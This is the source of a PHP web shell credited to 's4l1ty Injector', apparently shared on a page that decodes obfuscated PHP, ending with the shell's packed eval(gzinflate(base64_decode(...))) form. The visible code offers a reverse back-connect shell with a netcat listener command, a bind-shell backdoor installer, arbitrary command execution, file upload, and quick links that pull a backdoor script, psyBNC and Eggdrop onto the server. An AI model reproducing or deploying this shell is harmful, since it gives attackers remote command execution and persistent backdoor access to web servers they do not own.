"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".  
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".  
"AAAAAAAAAAAAAAAAAAAAAAeegEyCg0wBhIeHAYqIjAEwhoyEAQQXBJCRhQMuA5eSiooGIwafi4UM".  
"BagNFBMcDR4FQwwBAgEGSBBEFSwxNhAyGg6WAkwCBAgvFiUiOBEgNUc7w4ICND8PKCFAOi0JPNKD".  
"AkUnGTkRNwMS34MBJBgdRkJLCD7qggEPKxsJKiYTBweJkjhQkk7AhxQ9FqgLMGBGkG8KFCg8JKAi".  
"RYtMAgEAOw==",  
"ext_cmd"=>  
"R0lGODlhEAAQACIAACH5BAEAAAcALAAAAAAQABAAggAAAP///4CAgMDAwAAAgICAAP//AAAAAANI".  
"eLrcJzDKCYe9+AogBvlg+G2dSAQAipID5XJDIM+0zNJFkdL3DBg6HmxWMEAAhVlPBhgYdrYhDQCN".  
"dmrYAMn1onq/YKpjvEgAADs=",  
"ext_cpp"=>  
"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANC".  
"WLPc9XCASScZ8MlKicobBwRkEIkVYWqT4FICoJ5v7c6s3cqrArwinE/349FiNoFw44rtlqhOL4Ra".  
"Eq7YrLDE7a4SADs=",  
"ext_ini"=>  
"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///8DAwICAgICAAP//AAAAAAAAAANL".  
"aArB3ioaNkK9MNbHs6lBKIoCoI1oUJ4N4DCqqYBpuM6hq8P3hwoEgU3mawELBEaPFiAUAMgYy3VM".  
"SnEjgPVarHEHgrB43JvszsQEADs=",  
"ext_diz"=>  
"R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAP///15phcfb6NLs/7Pc/+P0/3J+l9bs".  
"/52nuqjK5/n///j///7///r//0trlsPn/8nn/8nZ5trm79nu/8/q/9Xt/9zw/93w/+j1/9Hr/+Dv".  
"/d7v/73H0MjU39zu/9br/8ne8tXn+K6/z8Xj/LjV7dDp/6K4y8bl/5O42Oz2/7HW9Ju92u/9/8T3".  
"/+L//+7+/+v6/+/6/9H4/+X6/+Xl5Pz//+/t7yx08vD//+3///P///H///P7/8nq/8fp/8Tl98zr".  
"/+/z9vT4++n1/b/k/dny/9Hv/+v4/9/0/9fw/8/u/8vt/+/09xUvXhQtW4KTs2V1kw4oVTdYpDZX".  
"pVxqhlxqiExkimKBtMPL2Ftvj2OV6aOuwpqlulyN3cnO1wAAXQAAZSM8jE5XjgAAbwAAeURBYgAA".  
"dAAAdzZEaE9wwDZYpmVviR49jG12kChFmgYuj6+1xeLn7Nzj6pm20oeqypS212SJraCyxZWyz7PW".  
"9c/o/87n/8DX7MHY7q/K5Lyx9arB1srl/2+fzq290U14q7fCz6e2yXum30FjlClHc4eXr6bI+bTK".  
"4rfW+NXe6Oby/5SvzWSHr+br8WuKrQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".  
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".  
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".  
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".  
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".  
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".  
"AAjgACsJrDRHSICDQ7IMXDgJx8EvZuIcbPBooZwbBwOMAfMmYwBCA2sEcNBjJCMYATLIOLiokocm".  
"C1QskAClCxcGBj7EsNHoQAciSCC1mNAmjJgGGEBQoBHigKENBjhcCBAIzRoGFkwQMNKnyggRSRAg".  
"2BHpDBUeewRV0PDHCp4BSgjw0ZGHzJQcEVD4IEHJzYkBfo4seYGlDBwgTCAAYvFE4KEBJYI4UrPF".  
"CyIIK+woYjMwQQI6Cor8mKEnxR0nAhYKjHJFQYECkqSkSa164IM6LhLRrr3wwaBCu3kPFKCldkAA".  
"Ow==",  
"ext_doc"=>  
"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///8DAwAAA/4CAgAAAAAAAAAAAAANR".  
"WErcrrCQQCslQA2wOwdXkIFWNVBA+nme4AZCuolnRwkwF9QgEOPAFG21A+Z4sQHO94r1eJRTJVmq".  
"MIOrrPSWWZRcza6kaolBCOB0WoxRud0JADs=",  
"ext_exe"=>  
"R0lGODlhEwAOAKIAAAAAAP///wAAvcbGxoSEhP///wAAAAAAACH5BAEAAAUALAAAAAATAA4AAAM7".  
"WLTcTiWSQautBEQ1hP+gl21TKAQAio7S8LxaG8x0PbOcrQf4tNu9wa8WHNKKRl4sl+y9YBuAdEqt".  
"xhIAOw==",  
"ext_h"=>  
"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANB".  
"WLPc9XCASScZ8MlKCcARRwVkEAKCIBKmNqVrq7wpbMmbbbOnrgI8F+q3w9GOQOMQGZyJOspnMkKo".  
"Wq/NknbbSgAAOw==",  
"ext_hpp"=>  
"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANF".  
"WLPc9XCASScZ8MlKicobBwRkEAGCIAKEqaFqpbZnmk42/d43yroKmLADlPBis6LwKNAFj7jfaWVR".  
"UqUagnbLdZa+YFcCADs=",  
"ext_htaccess"=>  
"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP8AAP8A/wAAgIAAgP//AAAAAAAAAAM6".  
"WEXW/k6RAGsjmFoYgNBbEwjDB25dGZzVCKgsR8LhSnprPQ406pafmkDwUumIvJBoRAAAlEuDEwpJ".  
"AAA7",  
"ext_html"=>  
"R0lGODlhEwAQALMAAAAAAP///2trnM3P/FBVhrPO9l6Itoyt0yhgk+Xy/WGp4sXl/i6Z4mfd/HNz".  
"c////yH5BAEAAA8ALAAAAAATABAAAAST8Ml3qq1m6nmC/4GhbFoXJEO1CANDSociGkbACHi20U3P".  
"KIFGIjAQODSiBWO5NAxRRmTggDgkmM7E6iipHZYKBVNQSBSikukSwW4jymcupYFgIBqL/MK8KBDk".  
"Bkx2BXWDyx8TDDaFDA0KBAd9fnIKHXYIBJgHBQOHcg+VCikVA5wLpYgbBKurDqysnxMOs7S1sxIR".  
"ADs=",  
"ext_jpg"=>  
"R0lGODlhEAAQADMAACH5BAEAAAkALAAAAAAQABAAgwAAAP///8DAwICAgICAAP8AAAD/AIAAAACA".  
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARccMhJk70j6K3FuFbGbULwJcUhjgHgAkUqEgJNEEAgxEci".  
"Ci8ALsALaXCGJK5o1AGSBsIAcABgjgCEwAMEXp0BBMLl/A6x5WZtPfQ2g6+0j8Vx+7b4/NZqgftd".  
"yxEAOw==",  
"ext_js"=>  
"R0lGODdhEAAQACIAACwAAAAAEAAQAIL///8AAACAgIDAwMD//wCAgAAAAAAAAAADUCi63CEgxibH".  
"k0AQsG200AQUJBgAoMihj5dmIxnMJxtqq1ddE0EWOhsG16m9MooAiSWEmTiuC4Tw2BB0L8FgIAhs".  
"a00AjYYBbc/o9HjNniUAADs=",  
"ext_lnk"=>  
"R0lGODlhEAAQAGYAACH5BAEAAFAALAAAAAAQABAAhgAAAABiAGPLMmXMM0y/JlfFLFS6K1rGLWjO".  
"NSmuFTWzGkC5IG3TOo/1XE7AJx2oD5X7YoTqUYrwV3/lTHTaQXnfRmDGMYXrUjKQHwAMAGfNRHzi".  
"Uww5CAAqADOZGkasLXLYQghIBBN3DVG2NWnPRnDWRwBOAB5wFQBBAAA+AFG3NAk5BSGHEUqwMABk".  
"AAAgAAAwAABfADe0GxeLCxZcDEK6IUuxKFjFLE3AJ2HHMRKiCQWCAgBmABptDg+HCBZeDAqFBWDG".  
"MymUFQpWBj2fJhdvDQhOBC6XF3fdR0O6IR2ODwAZAHPZQCSREgASADaXHwAAAAAAAAAAAAAAAAAA".  
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".  
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".  
"AAAAAAAAAAAAAAAAAAAAAAeZgFBQPAGFhocAgoI7Og8JCgsEBQIWPQCJgkCOkJKUP5eYUD6PkZM5".  
"NKCKUDMyNTg3Agg2S5eqUEpJDgcDCAxMT06hgk26vAwUFUhDtYpCuwZByBMRRMyCRwMGRkUg0xIf".  
"1lAeBiEAGRgXEg0t4SwroCYlDRAn4SmpKCoQJC/hqVAuNGzg8E9RKBEjYBS0JShGh4UMoYASBiUQ".  
"ADs=",  
"ext_log"=>  
"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAMDAwICAgICAAAAAgAAA////AAAA".  
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARQEKEwK6UyBzC475gEAltJklLRAWzbClRhrK4Ly5yg7/wN".  
"zLUaLGBQBV2EgFLV4xEOSSWt9gQQBpRpqxoVNaPKkFb5Eh/LmUGzF5qE3+EMIgIAOw==",  
"ext_php"=>  
"R0lGODlhEAAQAIABAAAAAP///ywAAAAAEAAQAAACJkQeoMua1tBxqLH37HU6arxZYLdIZMmd0OqpaGeyYpqJlRG/rlwAADs=",  
"ext_pl"=>  
"R0lGODlhFAAUAKL/AP/4/8DAwH9/AP/4AL+/vwAAAAAAAAAAACH5BAEAAAEALAAAAAAUABQAQAMo".  
"GLrc3gOAMYR4OOudreegRlBWSJ1lqK5s64LjWF3cQMjpJpDf6//ABAA7",  
"ext_swf"=>  
"R0lGODlhFAAUAMQRAP+cnP9SUs4AAP+cAP/OAIQAAP9jAM5jnM6cY86cnKXO98bexpwAAP8xAP/O".  
"nAAAAP///////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA".  
"ABEALAAAAAAUABQAAAV7YCSOZGme6PmsbMuqUCzP0APLzhAbuPnQAweE52g0fDKCMGgoOm4QB4GA".  
"GBgaT2gMQYgVjUfST3YoFGKBRgBqPjgYDEyxXRpDGEIA4xAQQNR1NHoMEAACABFhIz8rCncMAGgC".  
"NysLkDOTSCsJNDJanTUqLqM2KaanqBEhADs=",  
"ext_tar"=>  
"R0lGODlhEAAQAGYAACH5BAEAAEsALAAAAAAQABAAhgAAABlOAFgdAFAAAIYCUwA8ZwA8Z9DY4JIC".  
"Wv///wCIWBE2AAAyUJicqISHl4CAAPD4/+Dg8PX6/5OXpL7H0+/2/aGmsTIyMtTc5P//sfL5/8XF".  
"HgBYpwBUlgBWn1BQAG8aIABQhRbfmwDckv+H11nouELlrizipf+V3nPA/40CUzmm/wA4XhVDAAGD".  
"UyWd/0it/1u1/3NzAP950P990mO5/7v14YzvzXLrwoXI/5vS/7Dk/wBXov9syvRjwOhatQCHV17p".  
"uo0GUQBWnP++8Lm5AP+j5QBUlACKWgA4bjJQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".  
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".  
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".  
"AAAAAAAAAAAAAAAAAAAAAAeegAKCg4SFSxYNEw4gMgSOj48DFAcHEUIZREYoJDQzPT4/AwcQCQkg".  
"GwipqqkqAxIaFRgXDwO1trcAubq7vIeJDiwhBcPExAyTlSEZOzo5KTUxMCsvDKOlSRscHDweHkMd".  
"HUcMr7GzBufo6Ay87Lu+ii0fAfP09AvIER8ZNjc4QSUmTogYscBaAiVFkChYyBCIiwXkZD2oR3FB".  
"u4tLAgEAOw==",  
"ext_txt"=>  
"R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJ".  
"SArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7".  
"UpPWG3Ig6Hq/XmRjuZwkAAA7",  
"ext_wri"=>  
"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAICAgMDAwICAAAAAgAAA////AAAA".  
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRUMhJkb0C6K2HuEiRcdsAfKExkkDgBoVxstwAAypduoao".  
"a4SXT0c4BF0rUhFAEAQQI9dmebREW8yXC6Nx2QI7LrYbtpJZNsxgzW6nLdq49hIBADs=",  
"ext_xml"=>  
"R0lGODlhEAAQAEQAACH5BAEAABAALAAAAAAQABAAhP///wAAAPHx8YaGhjNmmabK8AAAmQAAgACA".  
"gDOZADNm/zOZ/zP//8DAwDPM/wAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".  
"AAAAAAAAAAAAAAAAAAVk4CCOpAid0ACsbNsMqNquAiA0AJzSdl8HwMBOUKghEApbESBUFQwABICx".  
"OAAMxebThmA4EocatgnYKhaJhxUrIBNrh7jyt/PZa+0hYc/n02V4dzZufYV/PIGJboKBQkGPkEEQ".  
"IQA7"  
);  
//Untuk optimalisasi ukuran dan kecepatan.  
$imgequals = array(  
  "ext_tar"=>array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"),  
  "ext_php"=>array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml","ext_htm"),  
  "ext_jpg"=>array("ext_jpg","ext_gif","ext_png","ext_jpeg","ext_jfif","ext_jpe","ext_bmp","ext_ico","ext_tif","tiff"),  
  "ext_html"=>array("ext_html","ext_htm"),  
  "ext_avi"=>array("ext_avi","ext_mov","ext_mvi","ext_mpg","ext_mpeg","ext_wmv","ext_rm"),  
  "ext_lnk"=>array("ext_lnk","ext_url"),  
  "ext_ini"=>array("ext_ini","ext_css","ext_inf"),  
  "ext_doc"=>array("ext_doc","ext_dot"),  
  "ext_js"=>array("ext_js","ext_vbs"),  
  "ext_cmd"=>array("ext_cmd","ext_bat","ext_pif"),  
  "ext_wri"=>array("ext_wri","ext_rtf"),  
  "ext_swf"=>array("ext_swf","ext_fla"),  
  "ext_mp3"=>array("ext_mp3","ext_au","ext_midi","ext_mid"),  
  "ext_htaccess"=>array("ext_htaccess","ext_htpasswd","ext_ht","ext_hta","ext_so")  
);  
if (!$getall) {  
  header("Content-type: image/gif");  
  header("Cache-control: public");  
  header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));  
  header("Cache-control: max-age=".(60*60*24*7));  
  header("Last-Modified: ".date("r",filemtime(__FILE__)));  
  foreach($imgequals as $k=>$v) {if (in_array($img,$v)) {$img = $k; break;}}  
  if (empty($images[$img])) {$img = "small_unk";}  
  if (in_array($img,$ext_tar)) {$img = "ext_tar";}  
  echo base64_decode($images[$img]);  
}  
else {  
  foreach($imgequals as $a=>$b) {foreach ($b as $d) {if ($a != $d) {if (!empty($images[$d])) {echo("Warning! Remove \$images[".$d."]<br>");}}}}  
  natsort($images);  
  $k = array_keys($images);  
  echo  "<center>";  
  foreach ($k as $u) {echo $u.":<img src=\"".$surl."act=img&img=".$u."\" border=\"1\"><br>";}  
  echo "</center>";  
}  
exit;  
}  
if ($act == "about") {  
  echo "<center><b>Credits: s4l1ty<br>Please report bugs to <a href=\"mailto:[email protected]\">s4l1ty</a></b>";  
}  
if ($act == "backc") {  
  $ip = $_SERVER["REMOTE_ADDR"];  
  $msg = $_POST['backcconnmsg'];  
  $emsg = $_POST['backcconnmsge'];  
  echo("<center><b>Back-Connection:</b></br></br><form name=form method=POST>Host:<input type=text name=backconnectip size=15 value=$ip> Port: <input type=text name=backconnectport size=15 value=5992> Use: <select size=1 name=use><option value=Perl>Perl</option><option value=C>C</option></select> <input type=submit name=submit value=Connect></form>Click 'Connect' only after you open port for it first. Once open, use NetCat, and run '<b>nc -l -n -v -p 5992</b>'<br><br></center>");  
  echo("$msg");  
  echo("$emsg");  
}  
if ($act == "shbd"){  
  $msg = $_POST['backcconnmsg'];  
  $emsg = $_POST['backcconnmsge'];  
  echo("<center><b>Bind Shell Backdoor:</b><br><br><form name=form method=POST>  
  Bind Port: <input type='text' name='backconnectport' value='5992'>  
  <input type='hidden' name='use' value='shbd'>  
  <input type='submit' value='Install Backdoor'></form>");  
  echo("$msg");  
  echo("$emsg");  
  echo("</center>");  
}  
echo "</td></tr></table>
";  
//COMMANDS PANEL  
?>  
<div  class=barheader2><b>.: COMMANDS PANEL :.</b></div>  
<table class=mainpanel>  
<?php  
if (!$safemode) {  
?>  
<tr><td align=right>Command:</td>  
<td><form method="POST">  
    <input type=hidden name=act value="cmd">  
    <input type=hidden name="d" value="<?php echo $dispd; ?>">  
    <input type="text" name="cmd" size="50" value="<?php echo htmlspecialchars($cmd); ?>">  
    <input type=hidden name="cmd_txt" value="1"> - <input type=submit name=submit value="Execute">  
    </form>  
</td></tr>  
<tr><td align=right>Quick Commands:</td>  
<td><form method="POST">  
    <input type=hidden name=act value="cmd">  
    <input type=hidden name="d" value="<?php echo $dispd; ?>">  
    <input type=hidden name="cmd_txt" value="1">  
    <select name="cmd">  
    <?php  
    foreach ($cmdaliases as $als) {  
      echo "<option value=\"".htmlspecialchars($als[1])."\">".htmlspecialchars($als[0])."</option>";  
    }  
    foreach ($cmdaliases2 as $als) {  
      echo "<option value=\"".htmlspecialchars($als[1])."\">".htmlspecialchars($als[0])."</option>";  
    }  
    ?>  
    </select> -  
    <input type=submit name=submit value="Execute">  
    </form>  
</td></tr>  
<?php  
}  
?>  
<tr><td align=right>Kernel Info:</td>  
<td><form method="post" action="http://google.com/search">  
    <input type="hidden" name="client" value="firefox-a">  
    <input type="hidden" name="rls" value="org.mozilla:en-US:official">  
    <input type="hidden" name="hl" value="en">  
    <input type="hidden" name="hs" value="b7p">  
    <input name="q" type="text" id="q" size="80" value="<?php echo wordwrap(php_uname()); ?>"> -  
    <input type=submit name="btnG" VALUE="Search">  
    </form>  
</td></tr>  
<tr><td align=right>Upload:</td>  
<td><form method="POST" enctype="multipart/form-data">  
    <input type=hidden name=act value="upload">  
    <input type=hidden name="miniform" value="1">  
    <input type="file" name="uploadfile"> - <input type=submit name=submit value="Upload"> <?php echo $wdt; ?>  
    </form>  
</td></tr>  
<?php /* s4l1ty */ ?>  
<script language="javascript">  
function set_arg(txt1,txt2) {  
  document.forms.fphpfsys.arg1.value = txt1;  
  document.forms.fphpfsys.arg2.value = txt2;  
  }  
</script>  
<tr><td align=right>PHP Filesystem:</td>  
<td><form name="fphpfsys" method="POST"><input type=hidden name=act value="phpfsys"><input type=hidden name="d" value="<?php echo $dispd; ?>">  
    <select name="phpfsysfunc">  
    <?php  
    foreach ($phpfsaliases as $als) {  
      if ($als[1]==$phpfsysfunc) { echo "<option selected value=\"".$als[1]."\">".$als[0]."</option>"; }  
      else { echo "<option value=\"".$als[1]."\">".$als[0]."</option>";  }  
    }  
    ?>  
    </select>  
    File/Dir/URL: <input type="text" name="arg1" id="a1" size="40" value="<?php echo htmlspecialchars($arg1); ?>">  
    To/Max: <input type="text" name="arg2" size="50" value="<?php echo htmlspecialchars($arg2); ?>">  
    <input type=submit name=submit value="Execute"><hr noshade size=1>  
    <a href="#" onclick="set_arg('<?php echo $sh_mainurl."passs.txt"; ?>','ipays.php')">[BackDor]</a>  
    <a href="#" onclick="set_arg('<?php echo $sh_mainurl."psy.tar.gz"; ?>','psy.tar.gz')">[psyBNC]</a>  
    <a href="#" onclick="set_arg('<?php echo $sh_mainurl."httpd.tar.gz"; ?>','httpd.tar.gz')">[Eggdrop]</a>  
    </form>  
</td></tr>  
<tr><td align=right>Search:</td>  
<td><form method="POST"><input type=hidden name=act value="search"><input type=hidden name="d" value="<?php echo $dispd; ?>">  
    <input type="text" name="search_name" size="29" value="(.*)">&nbsp;<input type="checkbox" name="search_name_regexp" value="1"  checked> - regexp&nbsp;  
    <input type=submit name=submit value="Search">  
    </form>  
    </td></tr>  
<tr><td align=right>Make File:</td>  
<td><form method="POST"><input type=hidden name=act value="mkfile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type=hidden name="ft" value="edit">  
    <input type="text" name="mkfile" size="70" value="<?php echo $dispd; ?>"> - <input type=submit value="Create"> <?php echo $wdt; ?>  
    </form></td></tr>  
<tr><td align=right>View File:</td>  
<td><form method="POST"><input type=hidden name=act value="gofile"><input type=hidden name="d" value="<?php echo $dispd; ?>">  
    <input type="text" name="f" size="70" value="<?php echo $dispd; ?>"> - <input type=submit value="View">  
    </form></td></tr>  
</table>  
<div class=barheader2 colspan=2><font color=yellow>.:[ s4l1ty Injector | #sality #s4l1ty @ irc.tux-family.com| Generated: <?php echo round(getmicrotime()-starttime,4); ?> seconds ]:.</font></div>  
</body></html>  
<?php chdir($lastdir); c99shexit(); ?> <?

Did this file decode correctly?

Original Code

<? eval(gzinflate(base64_decode('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